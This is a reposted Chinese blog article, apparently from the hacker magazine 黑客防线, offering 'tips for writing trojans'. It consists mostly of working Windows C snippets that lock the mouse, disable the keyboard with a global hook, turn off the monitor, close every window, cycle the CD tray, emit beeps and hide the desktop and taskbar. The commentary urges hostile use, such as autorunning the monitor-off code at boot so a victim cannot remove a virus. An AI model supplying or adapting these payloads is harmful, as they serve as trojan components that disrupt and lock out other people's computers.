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木马编写小技巧(转)

2017-03-07 16:07 281 查看

1.锁定鼠标:

这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序

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#include <stdio.h>  

#include <windows.h>  

int main(int argc, char* argv[])  

{  

 printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");  

 RECT rect;  

 rect.bottom=1;  

 rect.right=1;  

  ClipCursor(&rect);  

 ::Sleep(15000);  

 ClipCursor(NULL);//释放  

 return 0;  

}  

  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域

2.锁定键盘:

锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了

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#include <stdio.h>  

#include <windows.h>  

//处理按键消息的过程函数  

LRESULT CALLBACK keyproc( int code,  

    WPARAM wParam,  

    LPARAM lParam )  

{  

    return 1;//返回1可使键盘停止响应  

}   

main(int argc, char* argv[])  

{  

  

  

    SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子  

    printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n");  

    ::Sleep(15000);  

}  

  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.

3.关闭显视器

这个也是相当简单的看看代码:

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#include <windows.h>  

  

  

int APIENTRY WinMain(HINSTANCE hInstance,  

    HINSTANCE hPrevInstance,  

    LPSTR     lpCmdLine,  

    int       nCmdShow)  

{  

    SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭  

    ::Sleep(10000);  

    SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开  

  

  

    return 0;  

}  

要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿

4.关闭所有窗口

原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起

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#include <windows.h>  

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);  

int APIENTRY WinMain(HINSTANCE hInstance,  

    HINSTANCE hPrevInstance,  

    LPSTR     lpCmdLine,  

    int       nCmdShow)  

{  

    EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理  

    return 0;  

}  

  

  

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数  

{  

    ::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口  

    return (true);//返回FALSE时EnumWindows结束  

}  

程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵

5.锁定光驱

其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱

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#include <mmsystem.h>//注意加入头文件  

int APIENTRY WinMain(HINSTANCE hInstance,  

    HINSTANCE hPrevInstance,  

    LPSTR     lpCmdLine,  

    int       nCmdShow)  

{  

    ::mciSendString("set cdaudio door open",NULL,0,NULL);//打开  

    ::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭  

    return 0;  

}  

//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^

6.制造噪音

大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在

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#include<windows.h>  

main()  

{  

    for(int j=450;j<500;j++)  

    {  

        for(int i=1000;i<1110;i++)  

        {  

            Beep(i,30);  

            ::Sleep(100);  

        }  

    }  

  

  

}  

关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。

7.隐藏桌面

其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。 

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#include <stdio.h>  

#include <windows.h>  

int main(int argc, char* argv[])  

{  

    HWND disk,mask;  

    disk=FindWindow("ProgMan",NULL);  

    mask=FindWindow("Shell_TrayWnd",NULL);  

    ShowWindow(mask,SW_HIDE);//隐藏任务栏  

    ShowWindow(disk,SW_HIDE);//隐藏桌面  

    printf("\n15妙后会自动出现桌面 请等待.....\n");  

    Sleep(15000);  

    ShowWindow(mask,SW_SHOW);//显示  

    ShowWindow(disk,SW_SHOW);//显示  

    return 0;  

}  

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